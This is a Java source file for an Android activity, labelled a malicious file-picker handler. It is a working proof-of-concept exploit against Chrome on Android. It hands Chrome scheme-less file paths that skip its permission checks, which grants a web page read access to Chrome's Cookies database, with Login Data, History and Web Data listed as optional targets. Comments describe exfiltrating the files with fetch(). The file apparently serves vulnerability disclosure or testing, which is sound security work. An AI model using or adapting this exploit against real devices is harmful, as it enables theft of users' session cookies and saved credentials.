package com.example.evilfilepicker;

import android.app.Activity;
import android.content.ClipData;
import android.content.Intent;
import android.net.Uri;
import android.os.Bundle;

/**
 * Malicious GET_CONTENT handler.
 *
 * When Chrome on Android opens a file picker for <input type="file">, the user
 * may select this app from the system chooser. This activity immediately
 * returns RESULT_OK with:
 *
 *   - getData() == null            -> forces SelectFileDialog into the ClipData
 *                                     branch (SelectFileDialog.java:1011), which
 *                                     is taken for ANY file input, not just
 *                                     <input multiple>.
 *
 *   - ClipData containing a Uri whose scheme is null, e.g.
 *       Uri.parse("/data/data/com.android.chrome/app_chrome/Default/Cookies")
 *
 * Because the Uri has scheme==null:
 *   1. SCHEME_CONTENT.equals(null) == false  -> doesCallerHavePermissionForUri()
 *      is skipped (line 1023).
 *   2. In GetDisplayNameTask.doInBackground():
 *        SCHEME_FILE.equals(null)    == false -> isPathUnderAppDir() skipped.
 *        SCHEME_CONTENT.equals(null) == false -> isContentUriUnderAppDir() skipped.
 *      mFilePaths[i] = uri.toString()  -> bare POSIX path
 *        "/data/data/com.android.chrome/app_chrome/Default/Cookies"
 *   3. ContentUriUtils.getDisplayName() throws on the null-scheme Uri but the
 *      RuntimeException is caught and "" is returned, so processing continues.
 *
 * The bare path then flows to native as base::FilePath, IsContentUri() is
 * false, FileSelectHelper wraps it in NativeFileInfo, and
 * FileChooserImpl::FileSelected calls
 *   ChildProcessSecurityPolicy::GrantReadFile(renderer_pid, <Chrome cookie DB>)
 *
 * The attacking page can then read the file via FileReader / upload it via
 * fetch(), exfiltrating Chrome's entire cookie jar (or Login Data, History,
 * Web Data, etc).
 */
public class PickerActivity extends Activity {

    // Adjust the package name for the Chrome channel under test:
    //   com.android.chrome           (Stable)
    //   com.chrome.beta              (Beta)
    //   com.chrome.dev               (Dev)
    //   com.chrome.canary            (Canary)
    //   org.chromium.chrome          (local build / chrome_public_apk)
    private static final String CHROME_PKG = "com.android.chrome";

    private static final String[] TARGETS = new String[] {
            "/data/data/" + CHROME_PKG + "/app_chrome/Default/Cookies",
            // Additional high-value targets (uncomment as desired):
            // "/data/data/" + CHROME_PKG + "/app_chrome/Default/Login Data",
            // "/data/data/" + CHROME_PKG + "/app_chrome/Default/Web Data",
            // "/data/data/" + CHROME_PKG + "/app_chrome/Default/History",
    };

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);

        Intent result = new Intent();
        // CRITICAL: leave data null so SelectFileDialog enters the ClipData
        // branch at line 1011 even for a single-selection <input type=file>.
        // (Do NOT call result.setData(...).)

        // Build ClipData whose item Uris have getScheme() == null.
        // Uri.parse() on an absolute POSIX path with no "scheme://" prefix
        // produces a Uri with scheme == null and toString() == the bare path.
        ClipData clip = null;
        for (String target : TARGETS) {
            Uri u = Uri.parse(target);  // u.getScheme() == null
            if (clip == null) {
                clip = ClipData.newRawUri("", u);
            } else {
                clip.addItem(new ClipData.Item(u));
            }
        }
        result.setClipData(clip);

        // These flags are not required for the bypass but are typical for
        // GET_CONTENT results and avoid unrelated early-outs in some callers.
        result.addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);

        setResult(Activity.RESULT_OK, result);
        finish();
    }
}
